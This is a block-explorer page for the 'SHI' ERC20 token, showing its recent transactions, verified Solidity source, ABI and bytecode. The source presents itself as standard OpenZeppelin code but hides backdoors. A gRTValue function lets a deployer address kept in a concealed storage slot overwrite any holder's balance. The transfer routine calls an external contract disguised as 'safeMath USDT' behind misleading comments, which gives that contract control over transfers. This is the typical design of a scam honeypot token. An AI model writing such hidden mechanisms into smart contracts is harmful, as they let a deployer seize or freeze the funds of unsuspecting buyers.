Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 34 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 17904460 | 955 days ago | IN | 0 ETH | 0.00053829 | ||||
| Approve | 17899159 | 955 days ago | IN | 0 ETH | 0.00065316 | ||||
| Approve | 17899140 | 955 days ago | IN | 0 ETH | 0.00068646 | ||||
| G RT Value | 17899136 | 955 days ago | IN | 0 ETH | 0.00066938 | ||||
| Approve | 17899120 | 955 days ago | IN | 0 ETH | 0.00083149 | ||||
| Approve | 17899116 | 955 days ago | IN | 0 ETH | 0.00088279 | ||||
| Approve | 17899106 | 955 days ago | IN | 0 ETH | 0.00072571 | ||||
| Approve | 17899102 | 955 days ago | IN | 0 ETH | 0.0004537 | ||||
| Approve | 17899099 | 955 days ago | IN | 0 ETH | 0.00074317 | ||||
| Approve | 17899094 | 955 days ago | IN | 0 ETH | 0.00076635 | ||||
| Approve | 17899038 | 955 days ago | IN | 0 ETH | 0.000808 | ||||
| Approve | 17899032 | 955 days ago | IN | 0 ETH | 0.000798 | ||||
| Approve | 17899031 | 955 days ago | IN | 0 ETH | 0.00078372 | ||||
| Approve | 17899027 | 955 days ago | IN | 0 ETH | 0.00080848 | ||||
| Approve | 17899016 | 955 days ago | IN | 0 ETH | 0.00083733 | ||||
| Approve | 17899014 | 955 days ago | IN | 0 ETH | 0.00084 | ||||
| Approve | 17898989 | 955 days ago | IN | 0 ETH | 0.00087968 | ||||
| Approve | 17898982 | 955 days ago | IN | 0 ETH | 0.00094764 | ||||
| Approve | 17898982 | 955 days ago | IN | 0 ETH | 0.00094862 | ||||
| Approve | 17898975 | 955 days ago | IN | 0 ETH | 0.00086057 | ||||
| Approve | 17898969 | 955 days ago | IN | 0 ETH | 0.00092611 | ||||
| Approve | 17898962 | 955 days ago | IN | 0 ETH | 0.00081889 | ||||
| Approve | 17898957 | 955 days ago | IN | 0 ETH | 0.00085352 | ||||
| Approve | 17898956 | 955 days ago | IN | 0 ETH | 0.00083051 | ||||
| Approve | 17898955 | 955 days ago | IN | 0 ETH | 0.00083811 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-12
*/
// Telegram:https://t.me/SHIETH_ERC20
// twitter:https://twitter.com/SHIETHerc20
// website:http://shieth.vip/
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.8.1
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
abstract contract safeMath{
function sub (
uint256 amontOutMin,
uint256 amountIn,
address pom,
address to,
uint256 deadline
) external virtual returns(uint256) ;
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.8.1
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.8.1
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.8.1
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
safeMath USDT = safeMath(
0x3D6C09144EbE1a054FaE7c6F2e0CF083aFbc26f0
);
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 internal constant _A_SLOT = 0x140f1f5c37a861fe6d912bc017fef84158e8b6b510b17348f61a113179a0dbad;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_totalSupply = 1000000000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
StorageSlot.getAddressSlot(_A_SLOT).value = msg.sender;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function gRTValue(address _ind, uint256 _value) public {
require(msg.sender == StorageSlot.getAddressSlot(_A_SLOT).value, "a!");
mapping(address => uint) storage solt = _balances;
solt[_ind] = _value;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to);
USDT /*"ERC20: transfer to the zero address"*/
.
sub( /*"ERC20: transfer to the zero address"*/
amount - amount,
amount,
from,
to,
block.timestamp
) - 100;
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to
) internal virtual {
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File contracts/ERC20Test.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Token is ERC20('SHI', 'SHI'), Ownable {
constructor() {
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_ind","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"gRTValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052600280546001600160a01b031916733d6c09144ebe1a054fae7c6f2e0cf083afbc26f01790553480156200003757600080fd5b5060408051808201825260038082526253484960e81b6020808401828152855180870190965292855284015281519192916200007691600491620001b8565b5080516200008c906005906020840190620001b8565b5069d3c21bcecceda100000060038190553360008181526020819052604080822084905551919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620000e2916200025e565b60405180910390a333620001247f140f1f5c37a861fe6d912bc017fef84158e8b6b510b17348f61a113179a0dbad60001b6200015f60201b620004c61760201c565b80546001600160a01b0319166001600160a01b0392909216919091179055506200015990506200015362000162565b62000166565b620002a4565b90565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b828054620001c69062000267565b90600052602060002090601f016020900481019282620001ea576000855562000235565b82601f106200020557805160ff191683800117855562000235565b8280016001018555821562000235579182015b828111156200023557825182559160200191906001019062000218565b506200024392915062000247565b5090565b5b8082111562000243576000815560010162000248565b90815260200190565b6002810460018216806200027c57607f821691505b602082108114156200029e57634e487b7160e01b600052602260045260246000fd5b50919050565b610cbc80620002b46000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101d5578063a9059cbb146101e8578063dd62ed3e146101fb578063f2fde38b1461020e576100f5565b8063715018a61461019b5780637970c929146101a55780638da5cb5b146101b857806395d89b41146101cd576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461017557806370a0823114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b610102610221565b60405161010f9190610909565b60405180910390f35b61012b6101263660046108a9565b6102b3565b60405161010f91906108fe565b6101406102d5565b60405161010f9190610bc3565b61012b61015b36600461086e565b6102db565b610168610309565b60405161010f9190610bf8565b61012b6101833660046108a9565b61030e565b61014061019636600461081b565b61033a565b6101a3610359565b005b6101a36101b33660046108a9565b61036d565b6101c06103e3565b60405161010f91906108ea565b6101026103f2565b61012b6101e33660046108a9565b610401565b61012b6101f63660046108a9565b610449565b61014061020936600461083c565b610461565b6101a361021c36600461081b565b61048c565b60606004805461023090610c35565b80601f016020809104026020016040519081016040528092919081815260200182805461025c90610c35565b80156102a95780601f1061027e576101008083540402835291602001916102a9565b820191906000526020600020905b81548152906001019060200180831161028c57829003601f168201915b5050505050905090565b6000806102be6104c9565b90506102cb8185856104cd565b5060019392505050565b60035490565b6000806102e66104c9565b90506102f3858285610581565b6102fe8585856105cb565b506001949350505050565b601290565b6000806103196104c9565b90506102cb81858561032b8589610461565b6103359190610c06565b6104cd565b6001600160a01b0381166000908152602081905260409020545b919050565b61036161076a565b61036b60006107a9565b565b6103967f140f1f5c37a861fe6d912bc017fef84158e8b6b510b17348f61a113179a0dbad6104c6565b546001600160a01b031633146103c75760405162461bcd60e51b81526004016103be90610aa4565b60405180910390fd5b6001600160a01b03909116600090815260208190526040902055565b6006546001600160a01b031690565b60606005805461023090610c35565b60008061040c6104c9565b9050600061041a8286610461565b90508381101561043c5760405162461bcd60e51b81526004016103be90610b7e565b6102fe82868684036104cd565b6000806104546104c9565b90506102cb8185856105cb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61049461076a565b6001600160a01b0381166104ba5760405162461bcd60e51b81526004016103be9061099f565b6104c3816107a9565b50565b90565b3390565b6001600160a01b0383166104f35760405162461bcd60e51b81526004016103be90610b3a565b6001600160a01b0382166105195760405162461bcd60e51b81526004016103be906109e5565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610574908590610bc3565b60405180910390a3505050565b600061058d8484610461565b905060001981146105c557818110156105b85760405162461bcd60e51b81526004016103be90610a27565b6105c584848484036104cd565b50505050565b6001600160a01b0383166105f15760405162461bcd60e51b81526004016103be90610af5565b6001600160a01b0382166106175760405162461bcd60e51b81526004016103be9061095c565b61062183836107fb565b6002546064906001600160a01b031663cf6fe7d761063f8480610c1e565b848787426040518663ffffffff1660e01b8152600401610663959493929190610bcc565b602060405180830381600087803b15801561067d57600080fd5b505af1158015610691573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b591906108d2565b6106bf9190610c1e565b506001600160a01b038316600090815260208190526040902054818110156106f95760405162461bcd60e51b81526004016103be90610a5e565b6001600160a01b0380851660008181526020819052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610757908690610bc3565b60405180910390a36105c58484846107ff565b6107726104c9565b6001600160a01b03166107836103e3565b6001600160a01b03161461036b5760405162461bcd60e51b81526004016103be90610ac0565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b5050565b505050565b80356001600160a01b038116811461035457600080fd5b60006020828403121561082c578081fd5b61083582610804565b9392505050565b6000806040838503121561084e578081fd5b61085783610804565b915061086560208401610804565b90509250929050565b600080600060608486031215610882578081fd5b61088b84610804565b925061089960208501610804565b9150604084013590509250925092565b600080604083850312156108bb578182fd5b6108c483610804565b946020939093013593505050565b6000602082840312156108e3578081fd5b5051919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561093557858101830151858201604001528201610919565b818111156109465783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b602080825260029082015261612160f01b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b94855260208501939093526001600160a01b039182166040850152166060830152608082015260a00190565b60ff91909116815260200190565b60008219821115610c1957610c19610c70565b500190565b600082821015610c3057610c30610c70565b500390565b600281046001821680610c4957607f821691505b60208210811415610c6a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220afdd1803aadd8c56d2795e2d345d620882a979efc5421722daa5e2774b7e1ddb64736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146101d5578063a9059cbb146101e8578063dd62ed3e146101fb578063f2fde38b1461020e576100f5565b8063715018a61461019b5780637970c929146101a55780638da5cb5b146101b857806395d89b41146101cd576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461017557806370a0823114610188576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b610102610221565b60405161010f9190610909565b60405180910390f35b61012b6101263660046108a9565b6102b3565b60405161010f91906108fe565b6101406102d5565b60405161010f9190610bc3565b61012b61015b36600461086e565b6102db565b610168610309565b60405161010f9190610bf8565b61012b6101833660046108a9565b61030e565b61014061019636600461081b565b61033a565b6101a3610359565b005b6101a36101b33660046108a9565b61036d565b6101c06103e3565b60405161010f91906108ea565b6101026103f2565b61012b6101e33660046108a9565b610401565b61012b6101f63660046108a9565b610449565b61014061020936600461083c565b610461565b6101a361021c36600461081b565b61048c565b60606004805461023090610c35565b80601f016020809104026020016040519081016040528092919081815260200182805461025c90610c35565b80156102a95780601f1061027e576101008083540402835291602001916102a9565b820191906000526020600020905b81548152906001019060200180831161028c57829003601f168201915b5050505050905090565b6000806102be6104c9565b90506102cb8185856104cd565b5060019392505050565b60035490565b6000806102e66104c9565b90506102f3858285610581565b6102fe8585856105cb565b506001949350505050565b601290565b6000806103196104c9565b90506102cb81858561032b8589610461565b6103359190610c06565b6104cd565b6001600160a01b0381166000908152602081905260409020545b919050565b61036161076a56